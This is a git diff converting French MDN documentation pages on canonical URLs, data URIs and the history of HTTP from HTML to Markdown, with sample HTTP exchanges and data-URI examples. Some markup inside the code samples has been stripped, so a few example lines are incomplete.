+## Techniques pour les URLs canoniques -

Il existe différentes manières de choisir le site web qui sera le site canonique.

+Il existe différentes manières de choisir le site web qui sera le site _canonique_. -

Utiliser la redirection via HTTP 301

+### Utiliser la redirection via HTTP 301 -

Dans ce cas, vous devez configurer le serveur qui reçoit les requêtes HTTP (a priori, le serveur qui sert le domaine avec ou sans www est le même) pour qu'il réponde un statut HTTP {{HTTPStatus(301)}} pour chaque requête provenant du domaine non-canonique. Cela aura pour effet de rediriger le navigateur qui essaie d'accéder aux adresses non-canoniques vers leurs équivalents canoniques. Ainsi, si vous avez choisi d'utiliser un domaine qui ne démarre pas par www, vous devriez rediriger chaque URL débutant par www vers une URL sans www.

+Dans ce cas, vous devez configurer le serveur qui reçoit les requêtes HTTP (a priori, le serveur qui sert le domaine avec ou sans www est le même) pour qu'il réponde un statut HTTP {{HTTPStatus(301)}} pour chaque requête provenant du domaine non-canonique. Cela aura pour effet de rediriger le navigateur qui essaie d'accéder aux adresses non-canoniques vers leurs équivalents canoniques. Ainsi, si vous avez choisi d'utiliser un domaine qui ne démarre pas par www, vous devriez rediriger chaque URL débutant par www vers une URL sans www. -

Exemple :

+Exemple : -
    -
  1. Un serveur reçoit une requête pour https://www.exemple.org/kadoc (tandis que le domaine canonique est constitué par exemple.org)
    2. -
  2. Le serveur répond via un code {{HTTPStatus(301)}} contenant l'en-tête {{HTTPHeader("Location")}}: https://exemple.org/kadoc.
    3. -
  3. Le client émet une requête pour le domaine canonique : https://exemple.org/kadoc
    4. -
+1. Un serveur reçoit une requête pour `https://www.exemple.org/kadoc` (tandis que le domaine canonique est constitué par exemple.org) +2. Le serveur répond via un code {{HTTPStatus(301)}} contenant l'en-tête {{HTTPHeader("Location")}}`: https://exemple.org/kadoc`. +3. Le client émet une requête pour le domaine canonique : `https://exemple.org/kadoc` -

Le projet HTML5 boilerplate contient un exemple sur la configuration d'un serveur Apache afin de rediriger un domaine vers un autre.

+Le [projet HTML5 boilerplate](https://github.com/h5bp/html5-boilerplate) contient un exemple sur [la configuration d'un serveur Apache afin de rediriger un domaine vers un autre](https://github.com/h5bp/html5-boilerplate/blob/7a22a33d4041c479d0962499e853501073811887/.htaccess#L219-L258). - +### Utiliser _`< link rel="canonical">`_ -

Il est possible d'ajouter un élément HTML spécifique {{HTMLElement("link")}} pour indiquer l'adresse canonique de la page. Cela n'a aucun impact sur la personne qui visite la page web, en revanche, elle permet aux robots des moteurs de recherche de connaître l'adresse effective de la page. De cette manière les moteurs de recherche n'indexent pas le contenu de façon répétée. Sans cet élément, ils pourraient penser que la page est dupliquée ou constitue du spam, ce qui entraînerait la disparition de la page dans les index des moteurs de recherche ou un mauvais classement.

+Il est possible d'ajouter un élément HTML spécifique {{HTMLElement("link")}} pour indiquer l'adresse canonique de la page. Cela n'a aucun impact sur la personne qui visite la page web, en revanche, elle permet aux robots des moteurs de recherche de connaître l'adresse effective de la page. De cette manière les moteurs de recherche n'indexent pas le contenu de façon répétée. Sans cet élément, ils pourraient penser que la page est dupliquée ou constitue du spam, ce qui entraînerait la disparition de la page dans les index des moteurs de recherche ou un mauvais classement. -

Lors de l'ajout de cet élément, vous servez le même contenu entre les deux domaines tout en indiquant aux moteurs de recherche lequel est canonique. Dans l'exemple précédent https://www.exemple.org/kadoc contiendrait le même contenu que https://exemple.org/kadoc, avec un élément {{htmlelement("link")}} supplémentaire dans l'en-tête :

+Lors de l'ajout de cet élément, vous servez le même contenu entre les deux domaines tout en indiquant aux moteurs de recherche lequel est canonique. Dans l'exemple précédent `https://www.exemple.org/kadoc` contiendrait le même contenu que `https://exemple.org/kadoc`, avec un élément {{htmlelement("link")}} supplémentaire dans l'en-tête : -

< link href="https://exemple.org/kadoc" rel="canonical">

+`< link href="https://exemple.org/kadoc" rel="canonical">` -

À l'inverse du cas précédent, les URLs débutant par www ou non seront alors considérées dans l'historique du navigateur comme des entrées distinctes.

+À l'inverse du cas précédent, les URLs débutant par www ou non seront alors considérées dans l'historique du navigateur comme des entrées distinctes. -

Adapter votre page aux deux cas

+## Adapter votre page aux deux cas -

Grâce à ces techniques, vous pouvez configurer votre serveur pour répondre correctement à l'ensemble des cas (www ou non). Il s'agit d'une bonne démarche, étant donné qu'il est impossible de prédire ce qu'un utilisateur tapera dans sa barre d'adresse. Il faut simplement déterminer votre domaine canonique pour ensuite effectuer la redirection vers ce dernier.

+Grâce à ces techniques, vous pouvez configurer votre serveur pour répondre correctement à l'ensemble des cas (www ou non). Il s'agit d'une bonne démarche, étant donné qu'il est impossible de prédire ce qu'un utilisateur tapera dans sa barre d'adresse. Il faut simplement déterminer votre domaine canonique pour ensuite effectuer la redirection vers ce dernier. -

Choisir www ou non

+## Choisir www ou non -

Il s'agit d'un sujet subjectif âprement débattu. S vous souhaitez approfondir, vous pouvez lire de nombreux articles sur ce sujet.

+Il s'agit d'un sujet subjectif âprement débattu. S vous souhaitez approfondir, vous pouvez lire [de nombreux](http://www.themezilla.com/should-you-use-www-in-your-url-or-not/) [articles](http://www.wpbeginner.com/beginners-guide/www-vs-non-www-which-is-better-for-wordpress-seo/) sur ce sujet. -

Voir aussi

+## Voir aussi - +- [Statistiques sur ce que les gens entrent dans la barre d'adresse](https://www.chrisfinke.com/2011/07/25/what-do-people-type-in-the-address-bar/) (2011) diff --git a/files/fr/web/http/basics_of_http/data_uris/index.md b/files/fr/web/http/basics_of_http/data_uris/index.md index 5922ae68e0..49fb44b7bd 100644 --- a/files/fr/web/http/basics_of_http/data_uris/index.md +++ b/files/fr/web/http/basics_of_http/data_uris/index.md @@ -9,114 +9,90 @@ tags: - URL translation_of: Web/HTTP/Basics_of_HTTP/Data_URIs --- -
{{HTTPSidebar}}
+{{HTTPSidebar}} -

Les URLs de données, les URLs préfixées par le schéma data:, permettent aux créateurs de contenu d'intégrer de petits fichiers dans des documents.

+**Les URLs de données**, les URLs préfixées par le schéma `data:`, permettent aux créateurs de contenu d'intégrer de petits fichiers dans des documents. -
-

Note : Les URLs de données sont traitées comme des origines opaques uniques par les navigateurs modernes, ainsi, contrairement aux autres objets classiques, ces URLs n'héritent pas des propriétés de l'objet ayant mené à cette URL.

-
+> **Note :** Les URLs de données sont traitées comme des origines opaques uniques par les navigateurs modernes, ainsi, contrairement aux autres objets classiques, ces URLs n'héritent pas des propriétés de l'objet ayant mené à cette URL. -

Syntaxe

+## Syntaxe -

Les URLs de données sont composées de quatre parties : un préfixe (data:), un type MIME indiquant le type de donnée, un jeton facultatif encodé en base64 dans le cas où il n'est pas textuel ainsi que les données elles-mêmes :

+Les URLs de données sont composées de quatre parties : un préfixe (`data:`), un type MIME indiquant le type de donnée, un jeton facultatif encodé en `base64` dans le cas où il n'est pas textuel ainsi que les données elles-mêmes : -
data:[<mediatype>][;base64],<data>
-
+ data:[][;base64], -

Le mediatype est une chaîne de type MIME, telle que 'image/jpeg' pour un fichier image JPEG. Si le format MIME n'est pas spécifié, la valeur par défaut sera text/plain;charset=US-ASCII.

+Le `mediatype` est une chaîne de type MIME, telle que `'image/jpeg'` pour un fichier image JPEG. Si le format MIME n'est pas spécifié, la valeur par défaut sera `text/plain;charset=US-ASCII`. -

Si les données sont textuelles, vous pouvez simplement incorporer le texte (en utilisant les entités appropriées ou les échappements basés sur le type de document englobant). Sinon, vous pouvez spécifier base64 pour intégrer des données binaires encodées en base64.

+Si les données sont textuelles, vous pouvez simplement incorporer le texte (en utilisant les entités appropriées ou les échappements basés sur le type de document englobant). Sinon, vous pouvez spécifier `base64` pour intégrer des données binaires encodées en base64. -

Quelques exemples :

+Quelques exemples : -
-
data:,Hello%2C%20World!
-
Texte simple / Données brutes
-
data:text/plain;base64,SGVsbG8sIFdvcmxkIQ%3D%3D
-
Version encodée en base64 de ce qui précède
-
data:text/html,%3Ch1%3EHello%2C%20World!%3C%2Fh1%3E
-
Un document HTML avec <h1>Hello, World!</h1>
-
data:text/html,<script>alert('hi');</script>
-
Un document HTML exécutant une alerte JavaScript. Notez que la balise fermante du script est requise.
-
+- `data:,Hello%2C%20World!` + - : Texte simple / Données brutes +- `data:text/plain;base64,SGVsbG8sIFdvcmxkIQ%3D%3D` + - : Version encodée en base64 de ce qui précède +- `data:text/html,%3Ch1%3EHello%2C%20World!%3C%2Fh1%3E` + - : Un document HTML avec `

Hello, World!

` +- `data:text/html,` + - : Un document HTML exécutant une alerte JavaScript. Notez que la balise fermante du script est requise. -

Encodage des données au format base64

+## Encodage des données au format base64 -

Il est possible de le faire très simplement via la ligne de commande uuencode pour les systèmes Linux et Mac OS X :

+Il est possible de le faire très simplement via la ligne de commande `uuencode` pour les systèmes Linux et Mac OS X : -
uuencode -m infile remotename
-
+ uuencode -m infile remotename -

Le paramètre infile est le nom du fichier que vous souhaitez encoder au format base64, remotename est le nom du fichier distant qui n'est pas réellement utilisé dans l'URL de type data.

+Le paramètre `infile` est le nom du fichier que vous souhaitez encoder au format base64, `remotename` est le nom du fichier distant qui n'est pas réellement utilisé dans l'URL de type `data`. -

Le résultat devrait ressembler à :

+Le résultat devrait ressembler à : -
begin-base64 664 test
-YSBzbGlnaHRseSBsb25nZXIgdGVzdCBmb3IgdGV2ZXIK
-====
-
+ begin-base64 664 test + YSBzbGlnaHRseSBsb25nZXIgdGVzdCBmb3IgdGV2ZXIK + ==== -

L'URL de donnée pourra ainsi utiliser la donnée encodée après l'en-tête.

+L'URL de donnée pourra ainsi utiliser la donnée encodée après l'en-tête. -

Dans une page web, via JavaScript

+### Dans une page web, via JavaScript -

Les APIs web contiennent des méthodes pour encoder et décoder en base64 : Décoder et encoder en base64.

+Les APIs web contiennent des méthodes pour encoder et décoder en base64 : [Décoder et encoder en base64](/fr/docs/Web/API/WindowBase64/Base64_encoding_and_decoding). -

Problèmes habituels

+## Problèmes habituels -

Cette section décrit les problèmes qui apparaissent fréquemment lors de la création et de l'utilisation des URLs de type data

+Cette section décrit les problèmes qui apparaissent fréquemment lors de la création et de l'utilisation des URLs de type `data` -
data:text/html,lots of text...<p><a name%3D"bottom">bottom</a>?arg=val
-
+ data:text/html,lots of text...

bottom?arg=val -

Cela représente une ressource HTML dont le contenu est le suivant :

+Cela représente une ressource HTML dont le contenu est le suivant : -
beaucoup de texte...<p><a name="bottom">bottom</a>?arg=val
-
+ beaucoup de texte...

bottom?arg=val -

-
Syntaxe
-
Le format pour les URLs de type data est très simple, mais il est aussi simple d'oublier la virgule qui précède le segment de données ou de mal encoder la donnée en base64.
-
Mise en forme HTML
-
Une URL de donnée expose un fichier dans un fichier, le fichier fourni peut éventuellement être bien plus gros que le fichier l'englobant. En tant qu'URL, une URL de donnée devrait pouvoir être mise en forme à l'aide de caractères d'espacement (retour chariot, tabulation ou espace), néanmoins, des limitations pratiques apparaissent lorsqu'il s'agit d'effectuer l'encodage en base64.
-
Limitations sur la longueur
-
Bien que Firefox supporte les URLs de données ayant une taille virtuellement infinie, il est important de noter que les navigateurs ne sont pas obligés de supporter une longueur maximale de donnée. Ainsi dans Opera 11 les URLs ont une longueur maximale de 65535 caractères, limitant ainsi la longueur de la donnée utilisable dans les URLs de données à 65529 caractères si celle-ci est encodée.
-
Absence de gestion d'erreur
-
Les paramètres invalides dans le format MIME ou les coquilles lorsque l'on spécifie 'base64', sont ignorés mais aucune erreur n'est retournée.
-
Aucun support des requêtes via l'URL, etc
-
-

La donnée au sein de l'URL de donnée est opaque, ainsi toute tentative d'utiliser une chaîne de paramètres de recherche comme on le ferait avec une URL classique à l'aide de la syntaxe <url>?parameter-data) avec une URL de donnée ne ferait qu'inclure les paramètres de l'URL au sein de la donnée.

-
-
Problèmes de sécurité
-
De nombreux problèmes de sécurité (comme le phishing) ont été associés au URLs de donnés et du fait qu'elle puisse avoir un accès direct au navigateur. Afin de réduire l'impact de ces problèmes, la navigation à la racine via des URLs de données data:// a été bloquée dans Firefox 59+ (en version finale, Nightly/Beta bloquent à partir de la version 58). Nous espérons voir d'autres navigateurs nous emboîter le pas prochainement. Voir Blocking Top-Level Navigations to data URLs for Firefox 58 pour plus de détails.
-
+- Syntaxe + - : Le format pour les URLs de type `data` est très simple, mais il est aussi simple d'oublier la virgule qui précède le segment de données ou de mal encoder la donnée en base64. +- Mise en forme HTML + - : Une URL de donnée expose un fichier dans un fichier, le fichier fourni peut éventuellement être bien plus gros que le fichier l'englobant. En tant qu'URL, une URL de donnée devrait pouvoir être mise en forme à l'aide de caractères d'espacement (retour chariot, tabulation ou espace), néanmoins, des limitations pratiques apparaissent lorsqu'il s'agit d'effectuer [l'encodage en base64](https://bugzilla.mozilla.org/show_bug.cgi?id=73026#c12). +- Limitations sur la longueur + - : Bien que Firefox supporte les URLs de données ayant une taille virtuellement infinie, il est important de noter que les navigateurs ne sont pas obligés de supporter une longueur maximale de donnée. Ainsi dans Opera 11 les URLs ont une longueur maximale de 65535 caractères, limitant ainsi la longueur de la donnée utilisable dans les URLs de données à 65529 caractères si celle-ci est encodée. +- Absence de gestion d'erreur + - : Les paramètres invalides dans le format MIME ou les coquilles lorsque l'on spécifie `'base64'`, sont ignorés mais aucune erreur n'est retournée. +- Aucun support des requêtes via l'URL, etc + - : La donnée au sein de l'URL de donnée est opaque, ainsi toute tentative d'utiliser une chaîne de paramètres de recherche comme on le ferait avec une URL classique à l'aide de la syntaxe `?parameter-data`) avec une URL de donnée ne ferait qu'inclure les paramètres de l'URL au sein de la donnée. +- Problèmes de sécurité + - : De nombreux problèmes de sécurité (comme le phishing) ont été associés au URLs de donnés et du fait qu'elle puisse avoir un accès direct au navigateur. Afin de réduire l'impact de ces problèmes, la navigation à la racine via des URLs de données `data://` a été bloquée dans Firefox 59+ (en version finale, Nightly/Beta bloquent à partir de la version 58). Nous espérons voir d'autres navigateurs nous emboîter le pas prochainement. [Voir Blocking Top-Level Navigations to data URLs for Firefox 58](https://blog.mozilla.org/security/2017/11/27/blocking-top-level-navigations-data-urls-firefox-58/) pour plus de détails. -

Spécifications

+## Spécifications - - - - - - - - - - - -
SpécificationTitre
{{RFC("2397")}}Le schéma d'URL "data"
+| Spécification | Titre | +| -------------------- | ---------------------- | +| {{RFC("2397")}} | Le schéma d'URL "data" | -

Compatibilité des navigateurs

+## Compatibilité des navigateurs -

{{compat("http.data-url")}}

+{{compat("http.data-url")}} -

Voir_aussi

+## Voir_aussi - +- [Décoder et encoder en base64](/fr/docs/Web/API/WindowBase64/Base64_encoding_and_decoding) +- {{domxref("WindowBase64.atob","atob()")}} +- {{domxref("WindowBase64.btoa","btoa()")}} +- [CSS `url()`](/fr/docs/Web/CSS/uri) +- [URI](/fr/docs/Glossary/URI) diff --git a/files/fr/web/http/basics_of_http/evolution_of_http/index.md b/files/fr/web/http/basics_of_http/evolution_of_http/index.md index 759eb3679a..2432431bac 100644 --- a/files/fr/web/http/basics_of_http/evolution_of_http/index.md +++ b/files/fr/web/http/basics_of_http/evolution_of_http/index.md @@ -6,197 +6,183 @@ tags: - HTTP translation_of: Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP --- -
{{HTTPSidebar}} -
-

Le protocole HTTP (HyperText Transfer Protocol) est le protocole qui sous-tend le World Wide Web. Conçu par Tim Berners-Lee et son équipe entre 1989 et 1991, HTTP a vécu de nombreux changements tout en conservant sa simplicité, étendant ainsi sa flexibilité. HTTP a évolué à partir d'un protocole sommaire d'échange de fichiers sur un réseau de confiance au sein d'un laboratoire jusqu'à devenir le labyrinthe moderne d'Internet permettant désormais le transport d'images, de vidéos en haute résolution et en 3D.

+{{HTTPSidebar}} -

L'invention du World Wide Web

+**Le protocole HTTP** (HyperText Transfer Protocol) est le protocole qui sous-tend le World Wide Web. Conçu par Tim Berners-Lee et son équipe entre 1989 et 1991, HTTP a vécu de nombreux changements tout en conservant sa simplicité, étendant ainsi sa flexibilité. HTTP a évolué à partir d'un protocole sommaire d'échange de fichiers sur un réseau de confiance au sein d'un laboratoire jusqu'à devenir le labyrinthe moderne d'Internet permettant désormais le transport d'images, de vidéos en haute résolution et en 3D. -

En 1989, alors qu'il travaillait au CERN, Tim Berners-Lee proposa la création d'un système hypertexte sur internet. Initialement nommé Mesh, il prit le nom de World Wide Web lors de sa mise en place en 1990. Bâti sur les protocoles existants TCP et IP, il consistait en quatre éléments de base :

+## L'invention du World Wide Web -
    -
  • Un format textuel pour représenter les documents hypertextes, l'HyperText Markup Language (HTML).
    • -
  • Un protocole simple pour échanger ces documents, l'HyperText Transfer Protocol (HTTP).
    • -
  • Un logiciel client pour exposer (et modifier) ces documents, le premier navigateur web nommé WorldWideWeb.
    • -
  • Un serveur pour garantir l'accès au document, version initiale du httpd.
    • -
+En 1989, alors qu'il travaillait au CERN, Tim Berners-Lee proposa la création d'un système hypertexte sur internet. Initialement nommé _Mesh,_ il prit le nom de World Wide Web lors de sa mise en place en 1990. Bâti sur les protocoles existants TCP et IP, il consistait en quatre éléments de base : -

Ces quatre piliers étaient opératoires dès fin 1990, et les premiers serveurs extérieurs au CERN tournaient déjà début 1991. Le 6 août 1991, Tim Berners-Lee écrit un billet sur le groupe de discussion public alt.hypertext : ce billet est dorénavant considéré comme point de départ officiel du World Wide Web en tant que projet public.

+- Un format textuel pour représenter les documents hypertextes, l'_[HyperText Markup Language](/fr/docs/Web/HTML)_ (HTML). +- Un protocole simple pour échanger ces documents, l'_HyperText Transfer Protocol_ (HTTP). +- Un logiciel client pour exposer (et modifier) ces documents, le premier navigateur web nommé _WorldWideWeb_. +- Un serveur pour garantir l'accès au document, version initiale du _httpd_. -

Le protocole HTTP utilisé dans ces premières phases était très simple. Plus tard surnommé HTTP/0.9, il était aussi parfois surnommé le protocole une ligne - "the one-line protocol".

+Ces quatre piliers étaient opératoires dès fin 1990, et les premiers serveurs extérieurs au CERN tournaient déjà début 1991. Le 6 août 1991, Tim Berners-Lee écrit un [billet](https://groups.google.com/forum/#!msg/alt.hypertext/eCTkkOoWTAY/urNMgHnS2gYJ) sur le groupe de discussion public _alt.hypertext_ : ce billet est dorénavant considéré comme point de départ officiel du World Wide Web en tant que projet public. -

HTTP/0.9 – Le protocole une ligne

+Le protocole HTTP utilisé dans ces premières phases était très simple. Plus tard surnommé HTTP/0.9, il était aussi parfois surnommé le protocole _une ligne_ - "the one-line protocol". -

La version initiale de HTTP n'avait pas de numéro de version. Elle fut appelée 0.9 pour la différencier des versions ultérieures. HTTP/0.9 est extrêmement simple : la requête se compose d'une ligne unique et commence par la seule méthode possible {{HTTPMethod("GET")}}, suivie par le chemin pour accéder à la ressource (sans l'URL, puisque ni protocole, serveur ni port ne sont nécessaires quand on est connecté au serveur) :

+## HTTP/0.9 – Le protocole _une ligne_ -
GET /monfichier.html
+La version initiale de HTTP n'avait pas de numéro de version. Elle fut appelée 0.9 pour la différencier des versions ultérieures. HTTP/0.9 est extrêmement simple : la requête se compose d'une ligne unique et commence par la seule méthode possible {{HTTPMethod("GET")}}, suivie par le chemin pour accéder à la ressource (sans l'URL, puisque ni protocole, serveur ni port ne sont nécessaires quand on est connecté au serveur) : -

La réponse est aussi extrêmement simple, il s'agit directement du fichier demandé :

+ GET /monfichier.html -
<HTML>
-Une page HTML très simple
-</HTML>
+La réponse est aussi extrêmement simple, il s'agit directement du fichier demandé : -

Contrairement aux évolutions suivantes, il n'y avait pas d'en-tête HTTP. Cela signifie que seuls des fichiers HTML pouvaient être transmis, à l'exclusion de tout autre type de documents. Il n'existait pas de code d'erreur ou d'état : en cas de problème, un fichier HTML particulier, contenant la description du problème rencontré, était renvoyé afin d'être lu par l'utilisateur.

+ + Une page HTML très simple + -

HTTP/1.0 – Mise en place de l'extensibilité

+Contrairement aux évolutions suivantes, il n'y avait pas d'en-tête HTTP. Cela signifie que seuls des fichiers HTML pouvaient être transmis, à l'exclusion de tout autre type de documents. Il n'existait pas de code d'erreur ou d'état : en cas de problème, un fichier HTML particulier, contenant la description du problème rencontré, était renvoyé afin d'être lu par l'utilisateur. -

HTTP/0.9 était très limité. Navigateurs et serveurs l'ont rapidement étendu vers des usages plus polyvalents.

+## HTTP/1.0 – Mise en place de l'extensibilité -
    -
  • Dans chaque requête figurent dorénavant les informations de version (HTTP/1.0 est ajouté à la ligne GET).
    • -
  • Une ligne de code d'état est aussi envoyée au début de chaque réponse. Elle permet au navigateur de prendre connaissance du succès ou de l'échec de la requête, et de s'adapter en conséquence (avec une mise à jour, par exemple, ou en utilisant son cache local de manière spécifique).
    • -
  • La notion d'en-tête HTTP a été mise en place à la fois pour les requêtes et pour les réponses. Elle autorise la transmission de métadonnées, et rend le protocole très flexible et extensible.
    • -
  • Avec ces nouveaux en-têtes HTTP, il est désormais possible de transmettre d'autres documents que des fichiers HTML bruts (grâce à l'en-tête {{HTTPHeader("Content-Type")}}.
    • -
+HTTP/0.9 était très limité. Navigateurs et serveurs l'ont rapidement étendu vers des usages plus polyvalents. -

Une requête typique ressemblait ainsi à :

+- Dans chaque requête figurent dorénavant les informations de version (`HTTP/1.0` est ajouté à la ligne `GET`). +- Une ligne de code d'état est aussi envoyée au début de chaque réponse. Elle permet au navigateur de prendre connaissance du succès ou de l'échec de la requête, et de s'adapter en conséquence (avec une mise à jour, par exemple, ou en utilisant son cache local de manière spécifique). +- La notion d'en-tête HTTP a été mise en place à la fois pour les requêtes et pour les réponses. Elle autorise la transmission de métadonnées, et rend le protocole très flexible et extensible. +- Avec ces nouveaux en-têtes HTTP, il est désormais possible de transmettre d'autres documents que des fichiers HTML bruts (grâce à l'en-tête {{HTTPHeader("Content-Type")}}. -
GET /pamage.html HTTP/1.0
-User-Agent: NCSA_Mosaic/2.0 (Windows 3.1)
+Une requête typique ressemblait ainsi à :
 
-200 OK
-Date: Tue, 15 Nov 1994 08:12:31 GMT
-Server: CERN/3.0 libwww/2.17
-Content-Type: text/html
-<HTML>
-Une page avec une image
-  <IMG SRC="/monimage.gif">
-</HTML>
+ GET /pamage.html HTTP/1.0 + User-Agent: NCSA_Mosaic/2.0 (Windows 3.1) -

Suivie d'une seconde connexion-requête pour le transfert de l'image :

+ 200 OK + Date: Tue, 15 Nov 1994 08:12:31 GMT + Server: CERN/3.0 libwww/2.17 + Content-Type: text/html + + Une page avec une image + + -
GET /monimage.gif HTTP/1.0
-User-Agent: NCSA_Mosaic/2.0 (Windows 3.1)
+Suivie d'une seconde connexion-requête pour le transfert de l'image :
 
-200 OK
-Date: Tue, 15 Nov 1994 08:12:32 GMT
-Server: CERN/3.0 libwww/2.17
-Content-Type: text/gif
-(contenu de l'image)
+ GET /monimage.gif HTTP/1.0 + User-Agent: NCSA_Mosaic/2.0 (Windows 3.1) -

Ces innovations n'ont pas été mises en place à la suite d'un effort concerté, mais par une approche expérimentale couvrant les années 1991-1995. Un serveur ou un navigateur ajoutaient une fonctionnalité pour voir si elle suscitait l'intérêt escompté. Nombre de problèmes d'interopérabilité relevaient du lot commun. Pour répondre à ces désagréments, un document d'information décrivant les pratiques communes a été publié en novembre 1996, {{RFC(1945)}}. Cela correspondait à la définition de HTTP/1.0. Mais rigoureusement parlant, il convient de noter qu'il ne possède pas l'état de standard officiel.

+ 200 OK + Date: Tue, 15 Nov 1994 08:12:32 GMT + Server: CERN/3.0 libwww/2.17 + Content-Type: text/gif + (contenu de l'image) -

HTTP/1.1 – Le protocole standardisé

+Ces innovations n'ont pas été mises en place à la suite d'un effort concerté, mais par une approche expérimentale couvrant les années 1991-1995. Un serveur ou un navigateur ajoutaient une fonctionnalité pour voir si elle suscitait l'intérêt escompté. Nombre de problèmes d'interopérabilité relevaient du lot commun. Pour répondre à ces désagréments, un document d'information décrivant les pratiques communes a été publié en novembre 1996, {{RFC(1945)}}. Cela correspondait à la définition de HTTP/1.0. Mais rigoureusement parlant, il convient de noter qu'il ne possède pas l'état de standard officiel. -

Parallèlement aux usages quelque peu chaotiques des différentes applications HTTP/1.0, dès 1995 c'est-à-dire bien avant la publication du document HTTP/1.0 l'année suivante, une standardisation appropriée se trouvait sur les rails. HTTP/1.1, première version standardisée de HTTP, fut publié début 1997, seulement quelques mois après HTTP/1.0.

+## HTTP/1.1 – Le protocole standardisé -

HTTP/1.1 dissipait des ambiguïtés et introduisait de nombreuses améliorations.

+Parallèlement aux usages quelque peu chaotiques des différentes applications HTTP/1.0, dès 1995 c'est-à-dire bien avant la publication du document HTTP/1.0 l'année suivante, une standardisation appropriée se trouvait sur les rails. HTTP/1.1, première version standardisée de HTTP, fut publié début 1997, seulement quelques mois après HTTP/1.0. -
    -
  • Connexion pouvant être ré-utilisée : économie du temps qu'il faudrait pour en ouvrir plusieurs dans le but de présenter les ressources constituant le document original récupéré.
    • -
  • Ajout du pipelining : permet d'envoyer une seconde requête avant que la réponse de la première ne soit complètement transmise, diminuant le temps de latence de la communication.
    • -
  • Désormais les réponses par morceau sont aussi supportées.
    • -
  • Mise en place de mécanismes de contrôle de caches additionnels.
    • -
  • Mise en place de la négociation de contenu pour le langage, l'encodage et le type : le client et le serveur peuvent ainsi se mettre d'accord sur le contenu le plus adéquat à échanger.
    • -
  • Grâce à l'en-tête {{HTTPHeader("Host")}}, la capacité à héberger différents domaines sur la même adresse IP autorise désormais une colocation de serveurs.
    • -
+HTTP/1.1 dissipait des ambiguïtés et introduisait de nombreuses améliorations. -

Une suite typique de requêtes, toutes via la même connexion, ressemble dès lors à ceci :

+- Connexion pouvant être ré-utilisée : économie du temps qu'il faudrait pour en ouvrir plusieurs dans le but de présenter les ressources constituant le document original récupéré. +- Ajout du _pipelining_ : permet d'envoyer une seconde requête avant que la réponse de la première ne soit complètement transmise, diminuant le temps de latence de la communication. +- Désormais les réponses par morceau sont aussi supportées. +- Mise en place de mécanismes de contrôle de caches additionnels. +- Mise en place de la négociation de contenu pour le langage, l'encodage et le type : le client et le serveur peuvent ainsi se mettre d'accord sur le contenu le plus adéquat à échanger. +- Grâce à l'en-tête {{HTTPHeader("Host")}}, la capacité à héberger différents domaines sur la même adresse IP autorise désormais une colocation de serveurs. -
GET /fr/docs/Glossary/Simple_header HTTP/1.1
-Host: developer.mozilla.org
-User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
-Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
-Accept-Language: en-US,en;q=0.5
-Accept-Encoding: gzip, deflate, br
-Referer: https://developer.mozilla.org/fr/docs/Glossary/Simple_header
+Une suite typique de requêtes, toutes via la même connexion, ressemble dès lors à ceci :
 
-200 OK
-Connection: Keep-Alive
-Content-Encoding: gzip
-Content-Type: text/html; charset=utf-8
-Date: Wed, 20 Jul 2016 10:55:30 GMT
-Etag: "547fa7e369ef56031dd3bff2ace9fc0832eb251a"
-Keep-Alive: timeout=5, max=1000
-Last-Modified: Tue, 19 Jul 2016 00:59:33 GMT
-Server: Apache
-Transfer-Encoding: chunked
-Vary: Cookie, Accept-Encoding
+    GET /fr/docs/Glossary/Simple_header HTTP/1.1
+    Host: developer.mozilla.org
+    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
+    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+    Accept-Language: en-US,en;q=0.5
+    Accept-Encoding: gzip, deflate, br
+    Referer: https://developer.mozilla.org/fr/docs/Glossary/Simple_header
 
-(contenu)
+    200 OK
+    Connection: Keep-Alive
+    Content-Encoding: gzip
+    Content-Type: text/html; charset=utf-8
+    Date: Wed, 20 Jul 2016 10:55:30 GMT
+    Etag: "547fa7e369ef56031dd3bff2ace9fc0832eb251a"
+    Keep-Alive: timeout=5, max=1000
+    Last-Modified: Tue, 19 Jul 2016 00:59:33 GMT
+    Server: Apache
+    Transfer-Encoding: chunked
+    Vary: Cookie, Accept-Encoding
 
+    (contenu)
 
-GET /static/img/header-background.png HTTP/1.1
-Host: developer.mozilla.org
-User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
-Accept: */*
-Accept-Language: en-US,en;q=0.5
-Accept-Encoding: gzip, deflate, br
-Referer: https://developer.mozilla.org/fr/docs/Glossary/Simple_header
 
-200 OK
-Age: 9578461
-Cache-Control: public, max-age=315360000
-Connection: keep-alive
-Content-Length: 3077
-Content-Type: image/png
-Date: Thu, 31 Mar 2016 13:34:46 GMT
-Last-Modified: Wed, 21 Oct 2015 18:27:50 GMT
-Server: Apache
+    GET /static/img/header-background.png HTTP/1.1
+    Host: developer.mozilla.org
+    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
+    Accept: */*
+    Accept-Language: en-US,en;q=0.5
+    Accept-Encoding: gzip, deflate, br
+    Referer: https://developer.mozilla.org/fr/docs/Glossary/Simple_header
 
-(contenu comprenant une image sur 3077 octets)
+ 200 OK + Age: 9578461 + Cache-Control: public, max-age=315360000 + Connection: keep-alive + Content-Length: 3077 + Content-Type: image/png + Date: Thu, 31 Mar 2016 13:34:46 GMT + Last-Modified: Wed, 21 Oct 2015 18:27:50 GMT + Server: Apache -

HTTP/1.1 a été publié pour la première fois en tant que {{rfc(2068)}} en janvier 1997.

+ (contenu comprenant une image sur 3077 octets) -

Plus de quinze années d'extension

+HTTP/1.1 a été publié pour la première fois en tant que {{rfc(2068)}} en janvier 1997. -

Grâce à son extensibilité (création aisée de nouvelles en-têtes et méthodes) et bien que le protocole HTTP/1.1 ait été amélioré par deux révisions - {{RFC("2616")}} publiée en juin 1999, et les séries {{RFC("7230")}}-{{RFC("7235")}} publiées en juin 2014, en prévision de la publication de HTTP/2 - ce protocole s'est montré extrêmement stable pendant plus de quinze ans.

+## Plus de quinze années d'extension -

HTTP pour des transmissions sécurisées

